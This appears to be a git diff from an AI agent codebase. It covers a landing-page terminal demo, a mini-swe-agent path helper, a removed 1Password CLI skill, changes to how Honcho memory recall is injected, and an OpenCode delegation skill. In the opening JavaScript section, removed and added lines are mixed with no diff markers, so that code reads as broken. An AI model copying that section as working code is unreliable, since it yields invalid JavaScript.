'<span class="t-text">custom network with</span> <span class="t-amber">driver: overlay</span><span class="t-text">, added explicit</span>',
|
||||
'<span class="t-text">aliases, and set</span> <span class="t-amber">dns: 8.8.8.8</span> <span class="t-text">as a fallback.</span>',
|
||||
'',
|
||||
'<span class="t-text">The fix was committed in</span> <span class="t-amber">docker-compose.prod.yml</span><span class="t-text">.</span>',
|
||||
]},
|
||||
{ type: 'pause', ms: 3000 },
|
||||
];
|
||||
|
||||
class TerminalDemo {
|
||||
constructor(container) {
|
||||
this.container = container;
|
||||
this.running = false;
|
||||
this.content = "";
|
||||
}
|
||||
|
||||
async start() {
|
||||
if (this.running) return;
|
||||
this.running = true;
|
||||
|
||||
while (this.running) {
|
||||
for (const step of demoSequence) {
|
||||
if (!this.running) return;
|
||||
await this.execute(step);
|
||||
}
|
||||
this.clear();
|
||||
await this.sleep(1000);
|
||||
constructor(element, cursorElement) {
|
||||
this.el = element;
|
||||
this.cursor = cursorElement;
|
||||
this.running = false;
|
||||
this.content = '';
|
||||
this.observer = null;
|
||||
}
|
||||
}
|
||||
|
||||
stop() {
|
||||
this.running = false;
|
||||
}
|
||||
|
||||
async execute(step) {
|
||||
switch (step.type) {
|
||||
case "prompt":
|
||||
this.append(`<span class="t-prompt">${step.text}</span>`);
|
||||
break;
|
||||
case "type":
|
||||
for (const char of step.text) {
|
||||
if (!this.running) return;
|
||||
this.append(`<span class="t-cmd">${char}</span>`);
|
||||
await this.sleep(step.delay || 30);
|
||||
async start() {
|
||||
if (this.running) return;
|
||||
this.running = true;
|
||||
|
||||
while (this.running) {
|
||||
for (const step of demoSequence) {
|
||||
if (!this.running) return;
|
||||
await this.execute(step);
|
||||
}
|
||||
// Loop
|
||||
this.clear();
|
||||
await this.sleep(1000);
|
||||
}
|
||||
break;
|
||||
case "output":
|
||||
for (const line of step.lines) {
|
||||
if (!this.running) return;
|
||||
this.append("\n" + line);
|
||||
await this.sleep(50);
|
||||
}
|
||||
break;
|
||||
case "pause":
|
||||
await this.sleep(step.ms);
|
||||
break;
|
||||
case "clear":
|
||||
this.clear();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
append(html) {
|
||||
this.content += html;
|
||||
this.render();
|
||||
}
|
||||
stop() {
|
||||
this.running = false;
|
||||
}
|
||||
|
||||
render() {
|
||||
this.container.innerHTML = this.content + CURSOR;
|
||||
this.container.scrollTop = this.container.scrollHeight;
|
||||
}
|
||||
async execute(step) {
|
||||
switch (step.type) {
|
||||
case 'prompt':
|
||||
this.append(`<span class="t-prompt">${step.text}</span>`);
|
||||
break;
|
||||
|
||||
clear() {
|
||||
this.content = "";
|
||||
this.container.innerHTML = "";
|
||||
}
|
||||
case 'type':
|
||||
for (const char of step.text) {
|
||||
if (!this.running) return;
|
||||
this.append(`<span class="t-cmd">${char}</span>`);
|
||||
await this.sleep(step.delay || 30);
|
||||
}
|
||||
break;
|
||||
|
||||
sleep(ms) {
|
||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
||||
}
|
||||
}
|
||||
case 'output':
|
||||
for (const line of step.lines) {
|
||||
if (!this.running) return;
|
||||
this.append('\n' + line);
|
||||
await this.sleep(50);
|
||||
}
|
||||
break;
|
||||
|
||||
// --- Noise Overlay (ported from hermes-chat NoiseOverlay) ---
|
||||
function initNoiseOverlay() {
|
||||
if (window.matchMedia("(prefers-reduced-motion: reduce)").matches) return;
|
||||
if (typeof THREE === "undefined") return;
|
||||
case 'pause':
|
||||
await this.sleep(step.ms);
|
||||
break;
|
||||
|
||||
const canvas = document.getElementById("noise-overlay");
|
||||
if (!canvas) return;
|
||||
|
||||
const vertexShader = `
|
||||
varying vec2 vUv;
|
||||
void main() {
|
||||
vUv = uv;
|
||||
gl_Position = projectionMatrix * modelViewMatrix * vec4(position, 1.0);
|
||||
case 'clear':
|
||||
this.clear();
|
||||
break;
|
||||
}
|
||||
`;
|
||||
}
|
||||
|
||||
const fragmentShader = `
|
||||
uniform vec2 uRes;
|
||||
uniform float uDpr, uSize, uDensity, uOpacity;
|
||||
uniform vec3 uColor;
|
||||
varying vec2 vUv;
|
||||
append(html) {
|
||||
this.content += html;
|
||||
this.el.innerHTML = this.content;
|
||||
// Keep cursor at end
|
||||
this.el.parentElement.scrollTop = this.el.parentElement.scrollHeight;
|
||||
}
|
||||
|
||||
float hash(vec2 p) {
|
||||
vec3 p3 = fract(vec3(p.xyx) * 0.1031);
|
||||
p3 += dot(p3, p3.yzx + 33.33);
|
||||
return fract((p3.x + p3.y) * p3.z);
|
||||
}
|
||||
clear() {
|
||||
this.content = '';
|
||||
this.el.innerHTML = '';
|
||||
}
|
||||
|
||||
void main() {
|
||||
float n = hash(floor(vUv * uRes / (uSize * uDpr)));
|
||||
gl_FragColor = vec4(uColor, step(1.0 - uDensity, n)) * uOpacity;
|
||||
}
|
||||
`;
|
||||
|
||||
function hexToVec3(hex) {
|
||||
const c = hex.replace("#", "");
|
||||
return new THREE.Vector3(
|
||||
parseInt(c.substring(0, 2), 16) / 255,
|
||||
parseInt(c.substring(2, 4), 16) / 255,
|
||||
parseInt(c.substring(4, 6), 16) / 255,
|
||||
);
|
||||
}
|
||||
|
||||
const renderer = new THREE.WebGLRenderer({
|
||||
alpha: true,
|
||||
canvas,
|
||||
premultipliedAlpha: false,
|
||||
});
|
||||
renderer.setClearColor(0x000000, 0);
|
||||
|
||||
const scene = new THREE.Scene();
|
||||
const camera = new THREE.OrthographicCamera(-1, 1, 1, -1, 0, 1);
|
||||
const geo = new THREE.PlaneGeometry(2, 2);
|
||||
|
||||
const mat = new THREE.ShaderMaterial({
|
||||
vertexShader,
|
||||
fragmentShader,
|
||||
transparent: true,
|
||||
uniforms: {
|
||||
uColor: { value: hexToVec3("#8090BB") },
|
||||
uDensity: { value: 0.1 },
|
||||
uDpr: { value: 1 },
|
||||
uOpacity: { value: 0.4 },
|
||||
uRes: { value: new THREE.Vector2() },
|
||||
uSize: { value: 1.0 },
|
||||
},
|
||||
});
|
||||
|
||||
scene.add(new THREE.Mesh(geo, mat));
|
||||
|
||||
function resize() {
|
||||
const dpr = window.devicePixelRatio;
|
||||
const w = window.innerWidth;
|
||||
const h = window.innerHeight;
|
||||
renderer.setSize(w, h);
|
||||
renderer.setPixelRatio(dpr);
|
||||
mat.uniforms.uRes.value.set(w * dpr, h * dpr);
|
||||
mat.uniforms.uDpr.value = dpr;
|
||||
}
|
||||
|
||||
resize();
|
||||
window.addEventListener("resize", resize);
|
||||
|
||||
function loop() {
|
||||
requestAnimationFrame(loop);
|
||||
renderer.render(scene, camera);
|
||||
}
|
||||
loop();
|
||||
sleep(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
}
|
||||
|
||||
// --- Initialize ---
|
||||
document.addEventListener("DOMContentLoaded", () => {
|
||||
const detectedPlatform = detectPlatform();
|
||||
switchPlatform(detectedPlatform);
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
// Auto-detect platform and set the right install command
|
||||
const detectedPlatform = detectPlatform();
|
||||
switchPlatform(detectedPlatform);
|
||||
|
||||
initScrollAnimations();
|
||||
initNoiseOverlay();
|
||||
initScrollAnimations();
|
||||
|
||||
const terminalEl = document.getElementById("terminal-demo");
|
||||
// Terminal demo - start when visible
|
||||
const terminalEl = document.getElementById('terminal-content');
|
||||
const cursorEl = document.getElementById('terminal-cursor');
|
||||
|
||||
if (terminalEl && cursorEl) {
|
||||
const demo = new TerminalDemo(terminalEl, cursorEl);
|
||||
|
||||
const observer = new IntersectionObserver((entries) => {
|
||||
entries.forEach(entry => {
|
||||
if (entry.isIntersecting) {
|
||||
demo.start();
|
||||
} else {
|
||||
demo.stop();
|
||||
}
|
||||
});
|
||||
}, { threshold: 0.3 });
|
||||
|
||||
if (terminalEl) {
|
||||
const demo = new TerminalDemo(terminalEl);
|
||||
|
||||
const observer = new IntersectionObserver(
|
||||
(entries) => {
|
||||
entries.forEach((entry) => {
|
||||
if (entry.isIntersecting) {
|
||||
demo.start();
|
||||
} else {
|
||||
demo.stop();
|
||||
}
|
||||
});
|
||||
},
|
||||
{ threshold: 0.3 },
|
||||
);
|
||||
|
||||
observer.observe(document.querySelector(".terminal-window"));
|
||||
}
|
||||
|
||||
const nav = document.querySelector(".nav");
|
||||
let ticking = false;
|
||||
window.addEventListener("scroll", () => {
|
||||
if (!ticking) {
|
||||
requestAnimationFrame(() => {
|
||||
if (window.scrollY > 50) {
|
||||
nav.style.borderBottomColor = "rgba(48, 80, 255, 0.15)";
|
||||
} else {
|
||||
nav.style.borderBottomColor = "";
|
||||
}
|
||||
ticking = false;
|
||||
});
|
||||
ticking = true;
|
||||
observer.observe(document.querySelector('.terminal-window'));
|
||||
}
|
||||
});
|
||||
|
||||
// Smooth nav background on scroll
|
||||
const nav = document.querySelector('.nav');
|
||||
let ticking = false;
|
||||
window.addEventListener('scroll', () => {
|
||||
if (!ticking) {
|
||||
requestAnimationFrame(() => {
|
||||
if (window.scrollY > 50) {
|
||||
nav.style.borderBottomColor = 'rgba(255, 215, 0, 0.1)';
|
||||
} else {
|
||||
nav.style.borderBottomColor = '';
|
||||
}
|
||||
ticking = false;
|
||||
});
|
||||
ticking = true;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
+376
-318
File diff suppressed because it is too large
Load Diff
+4
-5
@@ -42,11 +42,10 @@ from dotenv import load_dotenv
|
||||
# Load environment variables
|
||||
load_dotenv()
|
||||
|
||||
# Add mini-swe-agent to path if not installed. In git worktrees the populated
|
||||
# submodule may live in the main checkout rather than the worktree itself.
|
||||
from minisweagent_path import ensure_minisweagent_on_path
|
||||
|
||||
ensure_minisweagent_on_path(Path(__file__).resolve().parent)
|
||||
# Add mini-swe-agent to path if not installed
|
||||
mini_swe_path = Path(__file__).parent / "mini-swe-agent" / "src"
|
||||
if mini_swe_path.exists():
|
||||
sys.path.insert(0, str(mini_swe_path))
|
||||
|
||||
|
||||
# ============================================================================
|
||||
|
||||
@@ -1,92 +0,0 @@
|
||||
"""Helpers for locating the mini-swe-agent source tree.
|
||||
|
||||
Hermes often runs from git worktrees. In that layout the worktree root may have
|
||||
an empty ``mini-swe-agent/`` placeholder while the real populated submodule
|
||||
lives under the main checkout that owns the shared ``.git`` directory.
|
||||
|
||||
These helpers locate a usable ``mini-swe-agent/src`` directory and optionally
|
||||
prepend it to ``sys.path`` so imports like ``import minisweagent`` work from
|
||||
both normal checkouts and worktrees.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib.util
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
|
||||
def _read_gitdir(repo_root: Path) -> Optional[Path]:
|
||||
"""Resolve the gitdir referenced by ``repo_root/.git`` when it is a file."""
|
||||
git_marker = repo_root / ".git"
|
||||
if not git_marker.is_file():
|
||||
return None
|
||||
|
||||
try:
|
||||
raw = git_marker.read_text(encoding="utf-8").strip()
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
prefix = "gitdir:"
|
||||
if not raw.lower().startswith(prefix):
|
||||
return None
|
||||
|
||||
target = raw[len(prefix):].strip()
|
||||
gitdir = Path(target)
|
||||
if not gitdir.is_absolute():
|
||||
gitdir = (repo_root / gitdir).resolve()
|
||||
else:
|
||||
gitdir = gitdir.resolve()
|
||||
return gitdir
|
||||
|
||||
|
||||
def discover_minisweagent_src(repo_root: Optional[Path] = None) -> Optional[Path]:
|
||||
"""Return the best available ``mini-swe-agent/src`` path, if any.
|
||||
|
||||
Search order:
|
||||
1. Current checkout/worktree root
|
||||
2. Main checkout that owns the shared ``.git`` directory (for worktrees)
|
||||
"""
|
||||
repo_root = (repo_root or Path(__file__).resolve().parent).resolve()
|
||||
|
||||
candidates: list[Path] = [repo_root / "mini-swe-agent" / "src"]
|
||||
|
||||
gitdir = _read_gitdir(repo_root)
|
||||
if gitdir is not None:
|
||||
# Worktree layout: <main>/.git/worktrees/<name>
|
||||
if len(gitdir.parents) >= 3 and gitdir.parent.name == "worktrees":
|
||||
candidates.append(gitdir.parents[2] / "mini-swe-agent" / "src")
|
||||
# Direct checkout with .git file pointing elsewhere
|
||||
elif gitdir.name == ".git":
|
||||
candidates.append(gitdir.parent / "mini-swe-agent" / "src")
|
||||
|
||||
seen = set()
|
||||
for candidate in candidates:
|
||||
candidate = candidate.resolve()
|
||||
if candidate in seen:
|
||||
continue
|
||||
seen.add(candidate)
|
||||
if candidate.exists() and candidate.is_dir():
|
||||
return candidate
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def ensure_minisweagent_on_path(repo_root: Optional[Path] = None) -> Optional[Path]:
|
||||
"""Ensure ``minisweagent`` is importable by prepending its src dir to sys.path.
|
||||
|
||||
Returns the inserted/discovered path, or ``None`` if the package is already
|
||||
importable or no local source tree could be found.
|
||||
"""
|
||||
if importlib.util.find_spec("minisweagent") is not None:
|
||||
return None
|
||||
|
||||
src = discover_minisweagent_src(repo_root)
|
||||
if src is None:
|
||||
return None
|
||||
|
||||
src_str = str(src)
|
||||
if src_str not in sys.path:
|
||||
sys.path.insert(0, src_str)
|
||||
return src
|
||||
@@ -1,162 +0,0 @@
|
||||
---
|
||||
name: 1password
|
||||
description: Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in, and reading/injecting secrets for commands.
|
||||
version: 1.0.0
|
||||
author: arceus77-7, enhanced by Hermes Agent
|
||||
license: MIT
|
||||
metadata:
|
||||
hermes:
|
||||
tags: [security, secrets, 1password, op, cli]
|
||||
category: security
|
||||
setup:
|
||||
help: "Create a service account at https://my.1password.com → Settings → Service Accounts"
|
||||
collect_secrets:
|
||||
- env_var: OP_SERVICE_ACCOUNT_TOKEN
|
||||
prompt: "1Password Service Account Token"
|
||||
provider_url: "https://developer.1password.com/docs/service-accounts/"
|
||||
secret: true
|
||||
---
|
||||
|
||||
# 1Password CLI
|
||||
|
||||
Use this skill when the user wants secrets managed through 1Password instead of plaintext env vars or files.
|
||||
|
||||
## Requirements
|
||||
|
||||
- 1Password account
|
||||
- 1Password CLI (`op`) installed
|
||||
- One of: desktop app integration, service account token (`OP_SERVICE_ACCOUNT_TOKEN`), or Connect server
|
||||
- `tmux` available for stable authenticated sessions during Hermes terminal calls (desktop app flow only)
|
||||
|
||||
## When to Use
|
||||
|
||||
- Install or configure 1Password CLI
|
||||
- Sign in with `op signin`
|
||||
- Read secret references like `op://Vault/Item/field`
|
||||
- Inject secrets into config/templates using `op inject`
|
||||
- Run commands with secret env vars via `op run`
|
||||
|
||||
## Authentication Methods
|
||||
|
||||
### Service Account (recommended for Hermes)
|
||||
|
||||
Set `OP_SERVICE_ACCOUNT_TOKEN` in `~/.hermes/.env` (the skill will prompt for this on first load).
|
||||
No desktop app needed. Supports `op read`, `op inject`, `op run`.
|
||||
|
||||
```bash
|
||||
export OP_SERVICE_ACCOUNT_TOKEN="your-token-here"
|
||||
op whoami # verify — should show Type: SERVICE_ACCOUNT
|
||||
```
|
||||
|
||||
### Desktop App Integration (interactive)
|
||||
|
||||
1. Enable in 1Password desktop app: Settings → Developer → Integrate with 1Password CLI
|
||||
2. Ensure app is unlocked
|
||||
3. Run `op signin` and approve the biometric prompt
|
||||
|
||||
### Connect Server (self-hosted)
|
||||
|
||||
```bash
|
||||
export OP_CONNECT_HOST="http://localhost:8080"
|
||||
export OP_CONNECT_TOKEN="your-connect-token"
|
||||
```
|
||||
|
||||
## Setup
|
||||
|
||||
1. Install CLI:
|
||||
|
||||
```bash
|
||||
# macOS
|
||||
brew install 1password-cli
|
||||
|
||||
# Linux (official package/install docs)
|
||||
# See references/get-started.md for distro-specific links.
|
||||
|
||||
# Windows (winget)
|
||||
winget install AgileBits.1Password.CLI
|
||||
```
|
||||
|
||||
2. Verify:
|
||||
|
||||
```bash
|
||||
op --version
|
||||
```
|
||||
|
||||
3. Choose an auth method above and configure it.
|
||||
|
||||
## Hermes Execution Pattern (desktop app flow)
|
||||
|
||||
Hermes terminal commands are non-interactive by default and can lose auth context between calls.
|
||||
For reliable `op` use with desktop app integration, run sign-in and secret operations inside a dedicated tmux session.
|
||||
|
||||
Note: This is NOT needed when using `OP_SERVICE_ACCOUNT_TOKEN` — the token persists across terminal calls automatically.
|
||||
|
||||
```bash
|
||||
SOCKET_DIR="${TMPDIR:-/tmp}/hermes-tmux-sockets"
|
||||
mkdir -p "$SOCKET_DIR"
|
||||
SOCKET="$SOCKET_DIR/hermes-op.sock"
|
||||
SESSION="op-auth-$(date +%Y%m%d-%H%M%S)"
|
||||
|
||||
tmux -S "$SOCKET" new -d -s "$SESSION" -n shell
|
||||
|
||||
# Sign in (approve in desktop app when prompted)
|
||||
tmux -S "$SOCKET" send-keys -t "$SESSION":0.0 -- "eval \"\$(op signin --account my.1password.com)\"" Enter
|
||||
|
||||
# Verify auth
|
||||
tmux -S "$SOCKET" send-keys -t "$SESSION":0.0 -- "op whoami" Enter
|
||||
|
||||
# Example read
|
||||
tmux -S "$SOCKET" send-keys -t "$SESSION":0.0 -- "op read 'op://Private/Npmjs/one-time password?attribute=otp'" Enter
|
||||
|
||||
# Capture output when needed
|
||||
tmux -S "$SOCKET" capture-pane -p -J -t "$SESSION":0.0 -S -200
|
||||
|
||||
# Cleanup
|
||||
tmux -S "$SOCKET" kill-session -t "$SESSION"
|
||||
```
|
||||
|
||||
## Common Operations
|
||||
|
||||
### Read a secret
|
||||
|
||||
```bash
|
||||
op read "op://app-prod/db/password"
|
||||
```
|
||||
|
||||
### Get OTP
|
||||
|
||||
```bash
|
||||
op read "op://app-prod/npm/one-time password?attribute=otp"
|
||||
```
|
||||
|
||||
### Inject into template
|
||||
|
||||
```bash
|
||||
echo "db_password: {{ op://app-prod/db/password }}" | op inject
|
||||
```
|
||||
|
||||
### Run a command with secret env var
|
||||
|
||||
```bash
|
||||
export DB_PASSWORD="op://app-prod/db/password"
|
||||
op run -- sh -c '[ -n "$DB_PASSWORD" ] && echo "DB_PASSWORD is set" || echo "DB_PASSWORD missing"'
|
||||
```
|
||||
|
||||
## Guardrails
|
||||
|
||||
- Never print raw secrets back to user unless they explicitly request the value.
|
||||
- Prefer `op run` / `op inject` instead of writing secrets into files.
|
||||
- If command fails with "account is not signed in", run `op signin` again in the same tmux session.
|
||||
- If desktop app integration is unavailable (headless/CI), use service account token flow.
|
||||
|
||||
## CI / Headless note
|
||||
|
||||
For non-interactive use, authenticate with `OP_SERVICE_ACCOUNT_TOKEN` and avoid interactive `op signin`.
|
||||
Service accounts require CLI v2.18.0+.
|
||||
|
||||
## References
|
||||
|
||||
- `references/get-started.md`
|
||||
- `references/cli-examples.md`
|
||||
- https://developer.1password.com/docs/cli/
|
||||
- https://developer.1password.com/docs/service-accounts/
|
||||
@@ -1,31 +0,0 @@
|
||||
# op CLI examples
|
||||
|
||||
## Sign-in and identity
|
||||
|
||||
```bash
|
||||
op signin
|
||||
op signin --account my.1password.com
|
||||
op whoami
|
||||
op account list
|
||||
```
|
||||
|
||||
## Read secrets
|
||||
|
||||
```bash
|
||||
op read "op://app-prod/db/password"
|
||||
op read "op://app-prod/npm/one-time password?attribute=otp"
|
||||
```
|
||||
|
||||
## Inject secrets
|
||||
|
||||
```bash
|
||||
echo "api_key: {{ op://app-prod/openai/api key }}" | op inject
|
||||
op inject -i config.tpl.yml -o config.yml
|
||||
```
|
||||
|
||||
## Run command with secrets
|
||||
|
||||
```bash
|
||||
export DB_PASSWORD="op://app-prod/db/password"
|
||||
op run -- sh -c '[ -n "$DB_PASSWORD" ] && echo "DB_PASSWORD is set"'
|
||||
```
|
||||
@@ -1,21 +0,0 @@
|
||||
# 1Password CLI get-started (summary)
|
||||
|
||||
Official docs: https://developer.1password.com/docs/cli/get-started/
|
||||
|
||||
## Core flow
|
||||
|
||||
1. Install `op` CLI.
|
||||
2. Enable desktop app integration in 1Password app.
|
||||
3. Unlock app.
|
||||
4. Run `op signin` and approve prompt.
|
||||
5. Verify with `op whoami`.
|
||||
|
||||
## Multiple accounts
|
||||
|
||||
- Use `op signin --account <subdomain.1password.com>`
|
||||
- Or set `OP_ACCOUNT`
|
||||
|
||||
## Non-interactive / automation
|
||||
|
||||
- Use service accounts and `OP_SERVICE_ACCOUNT_TOKEN`
|
||||
- Prefer `op run` and `op inject` for runtime secret handling
|
||||
@@ -1,3 +0,0 @@
|
||||
# Security
|
||||
|
||||
Skills for secrets management, credential handling, and security tooling integrations.
|
||||
@@ -30,7 +30,6 @@ dependencies = [
|
||||
"fal-client",
|
||||
# Text-to-speech (Edge TTS is free, no API key needed)
|
||||
"edge-tts",
|
||||
"faster-whisper>=1.0.0",
|
||||
# mini-swe-agent deps (terminal tool)
|
||||
"litellm>=1.75.5",
|
||||
"typer",
|
||||
|
||||
+18
-62
@@ -202,32 +202,6 @@ _NEVER_PARALLEL_TOOLS = frozenset({"clarify"})
|
||||
_MAX_TOOL_WORKERS = 8
|
||||
|
||||
|
||||
def _inject_honcho_turn_context(content, turn_context: str):
|
||||
"""Append Honcho recall to the current-turn user message without mutating history.
|
||||
|
||||
The returned content is sent to the API for this turn only. Keeping Honcho
|
||||
recall out of the system prompt preserves the stable cache prefix while
|
||||
still giving the model continuity context.
|
||||
"""
|
||||
if not turn_context:
|
||||
return content
|
||||
|
||||
note = (
|
||||
"[System note: The following Honcho memory was retrieved from prior "
|
||||
"sessions. It is continuity context for this turn only, not new user "
|
||||
"input.]\n\n"
|
||||
f"{turn_context}"
|
||||
)
|
||||
|
||||
if isinstance(content, list):
|
||||
return list(content) + [{"type": "text", "text": note}]
|
||||
|
||||
text = "" if content is None else str(content)
|
||||
if not text.strip():
|
||||
return note
|
||||
return f"{text}\n\n{note}"
|
||||
|
||||
|
||||
class AIAgent:
|
||||
"""
|
||||
AI Agent with tool calling capabilities.
|
||||
@@ -407,30 +381,19 @@ class AIAgent:
|
||||
|
||||
# Persistent error log -- always writes WARNING+ to ~/.hermes/logs/errors.log
|
||||
# so tool failures, API errors, etc. are inspectable after the fact.
|
||||
# In gateway mode, each incoming message creates a new AIAgent instance,
|
||||
# while the root logger is process-global. Re-adding the same errors.log
|
||||
# handler would cause each warning/error line to be written multiple times.
|
||||
from agent.redact import RedactingFormatter
|
||||
_error_log_dir = Path.home() / ".hermes" / "logs"
|
||||
_error_log_dir.mkdir(parents=True, exist_ok=True)
|
||||
_error_log_path = _error_log_dir / "errors.log"
|
||||
from logging.handlers import RotatingFileHandler
|
||||
root_logger = logging.getLogger()
|
||||
error_log_dir = _hermes_home / "logs"
|
||||
error_log_path = error_log_dir / "errors.log"
|
||||
resolved_error_log_path = error_log_path.resolve()
|
||||
has_errors_log_handler = any(
|
||||
isinstance(handler, RotatingFileHandler)
|
||||
and Path(getattr(handler, "baseFilename", "")).resolve() == resolved_error_log_path
|
||||
for handler in root_logger.handlers
|
||||
_error_file_handler = RotatingFileHandler(
|
||||
_error_log_path, maxBytes=2 * 1024 * 1024, backupCount=2,
|
||||
)
|
||||
if not has_errors_log_handler:
|
||||
from agent.redact import RedactingFormatter
|
||||
error_log_dir.mkdir(parents=True, exist_ok=True)
|
||||
error_file_handler = RotatingFileHandler(
|
||||
error_log_path, maxBytes=2 * 1024 * 1024, backupCount=2,
|
||||
)
|
||||
error_file_handler.setLevel(logging.WARNING)
|
||||
error_file_handler.setFormatter(RedactingFormatter(
|
||||
'%(asctime)s %(levelname)s %(name)s: %(message)s',
|
||||
))
|
||||
root_logger.addHandler(error_file_handler)
|
||||
_error_file_handler.setLevel(logging.WARNING)
|
||||
_error_file_handler.setFormatter(RedactingFormatter(
|
||||
'%(asctime)s %(levelname)s %(name)s: %(message)s',
|
||||
))
|
||||
logging.getLogger().addHandler(_error_file_handler)
|
||||
|
||||
if self.verbose_logging:
|
||||
logging.basicConfig(
|
||||
@@ -2766,7 +2729,7 @@ class AIAgent:
|
||||
"model": self.model,
|
||||
"messages": api_messages,
|
||||
"tools": self.tools if self.tools else None,
|
||||
"timeout": float(os.getenv("HERMES_API_TIMEOUT", 900.0)),
|
||||
"timeout": 900.0,
|
||||
}
|
||||
|
||||
if self.max_tokens is not None:
|
||||
@@ -3946,11 +3909,10 @@ class AIAgent:
|
||||
|
||||
# Honcho prefetch consumption:
|
||||
# - First turn: bake into cached system prompt (stable for the session).
|
||||
# - Later turns: attach recall to the current-turn user message at
|
||||
# API-call time only (never persisted to history / session DB).
|
||||
# - Later turns: inject as ephemeral system context for this API call only.
|
||||
#
|
||||
# This keeps the system-prefix cache stable while still allowing turn N
|
||||
# to consume background prefetch results from turn N-1.
|
||||
# This keeps the persisted/cached prompt stable while still allowing
|
||||
# turn N to consume background prefetch results from turn N-1.
|
||||
self._honcho_context = ""
|
||||
self._honcho_turn_context = ""
|
||||
_recall_mode = (self._honcho_config.recall_mode if self._honcho_config else "hybrid")
|
||||
@@ -3968,7 +3930,6 @@ class AIAgent:
|
||||
# Add user message
|
||||
user_msg = {"role": "user", "content": user_message}
|
||||
messages.append(user_msg)
|
||||
current_turn_user_idx = len(messages) - 1
|
||||
|
||||
if not self.quiet_mode:
|
||||
print(f"💬 Starting conversation: '{user_message[:60]}{'...' if len(user_message) > 60 else ''}'")
|
||||
@@ -4118,14 +4079,9 @@ class AIAgent:
|
||||
# However, providers like Moonshot AI require a separate 'reasoning_content' field
|
||||
# on assistant messages with tool_calls. We handle both cases here.
|
||||
api_messages = []
|
||||
for idx, msg in enumerate(messages):
|
||||
for msg in messages:
|
||||
api_msg = msg.copy()
|
||||
|
||||
if idx == current_turn_user_idx and msg.get("role") == "user" and self._honcho_turn_context:
|
||||
api_msg["content"] = _inject_honcho_turn_context(
|
||||
api_msg.get("content", ""), self._honcho_turn_context
|
||||
)
|
||||
|
||||
# For ALL assistant messages, pass reasoning back to the API
|
||||
# This ensures multi-turn reasoning context is preserved
|
||||
if msg.get("role") == "assistant":
|
||||
@@ -4153,11 +4109,11 @@ class AIAgent:
|
||||
|
||||
# Build the final system message: cached prompt + ephemeral system prompt.
|
||||
# Ephemeral additions are API-call-time only (not persisted to session DB).
|
||||
# Honcho later-turn recall is intentionally kept OUT of the system prompt
|
||||
# so the stable cache prefix remains unchanged.
|
||||
effective_system = active_system_prompt or ""
|
||||
if self.ephemeral_system_prompt:
|
||||
effective_system = (effective_system + "\n\n" + self.ephemeral_system_prompt).strip()
|
||||
if self._honcho_turn_context:
|
||||
effective_system = (effective_system + "\n\n" + self._honcho_turn_context).strip()
|
||||
if effective_system:
|
||||
api_messages = [{"role": "system", "content": effective_system}] + api_messages
|
||||
|
||||
|
||||
@@ -1,218 +0,0 @@
|
||||
---
|
||||
name: opencode
|
||||
description: Delegate coding tasks to OpenCode CLI agent for feature implementation, refactoring, PR review, and long-running autonomous sessions. Requires the opencode CLI installed and authenticated.
|
||||
version: 1.2.0
|
||||
author: Hermes Agent
|
||||
license: MIT
|
||||
metadata:
|
||||
hermes:
|
||||
tags: [Coding-Agent, OpenCode, Autonomous, Refactoring, Code-Review]
|
||||
related_skills: [claude-code, codex, hermes-agent]
|
||||
---
|
||||
|
||||
# OpenCode CLI
|
||||
|
||||
Use [OpenCode](https://opencode.ai) as an autonomous coding worker orchestrated by Hermes terminal/process tools. OpenCode is a provider-agnostic, open-source AI coding agent with a TUI and CLI.
|
||||
|
||||
## When to Use
|
||||
|
||||
- User explicitly asks to use OpenCode
|
||||
- You want an external coding agent to implement/refactor/review code
|
||||
- You need long-running coding sessions with progress checks
|
||||
- You want parallel task execution in isolated workdirs/worktrees
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- OpenCode installed: `npm i -g opencode-ai@latest` or `brew install anomalyco/tap/opencode`
|
||||
- Auth configured: `opencode auth login` or set provider env vars (OPENROUTER_API_KEY, etc.)
|
||||
- Verify: `opencode auth list` should show at least one provider
|
||||
- Git repository for code tasks (recommended)
|
||||
- `pty=true` for interactive TUI sessions
|
||||
|
||||
## Binary Resolution (Important)
|
||||
|
||||
Shell environments may resolve different OpenCode binaries. If behavior differs between your terminal and Hermes, check:
|
||||
|
||||
```
|
||||
terminal(command="which -a opencode")
|
||||
terminal(command="opencode --version")
|
||||
```
|
||||
|
||||
If needed, pin an explicit binary path:
|
||||
|
||||
```
|
||||
terminal(command="$HOME/.opencode/bin/opencode run '...'", workdir="~/project", pty=true)
|
||||
```
|
||||
|
||||
## One-Shot Tasks
|
||||
|
||||
Use `opencode run` for bounded, non-interactive tasks:
|
||||
|
||||
```
|
||||
terminal(command="opencode run 'Add retry logic to API calls and update tests'", workdir="~/project")
|
||||
```
|
||||
|
||||
Attach context files with `-f`:
|
||||
|
||||
```
|
||||
terminal(command="opencode run 'Review this config for security issues' -f config.yaml -f .env.example", workdir="~/project")
|
||||
```
|
||||
|
||||
Show model thinking with `--thinking`:
|
||||
|
||||
```
|
||||
terminal(command="opencode run 'Debug why tests fail in CI' --thinking", workdir="~/project")
|
||||
```
|
||||
|
||||
Force a specific model:
|
||||
|
||||
```
|
||||
terminal(command="opencode run 'Refactor auth module' --model openrouter/anthropic/claude-sonnet-4", workdir="~/project")
|
||||
```
|
||||
|
||||
## Interactive Sessions (Background)
|
||||
|
||||
For iterative work requiring multiple exchanges, start the TUI in background:
|
||||
|
||||
```
|
||||
terminal(command="opencode", workdir="~/project", background=true, pty=true)
|
||||
# Returns session_id
|
||||
|
||||
# Send a prompt
|
||||
process(action="submit", session_id="<id>", data="Implement OAuth refresh flow and add tests")
|
||||
|
||||
# Monitor progress
|
||||
process(action="poll", session_id="<id>")
|
||||
process(action="log", session_id="<id>")
|
||||
|
||||
# Send follow-up input
|
||||
process(action="submit", session_id="<id>", data="Now add error handling for token expiry")
|
||||
|
||||
# Exit cleanly — Ctrl+C
|
||||
process(action="write", session_id="<id>", data="\x03")
|
||||
# Or just kill the process
|
||||
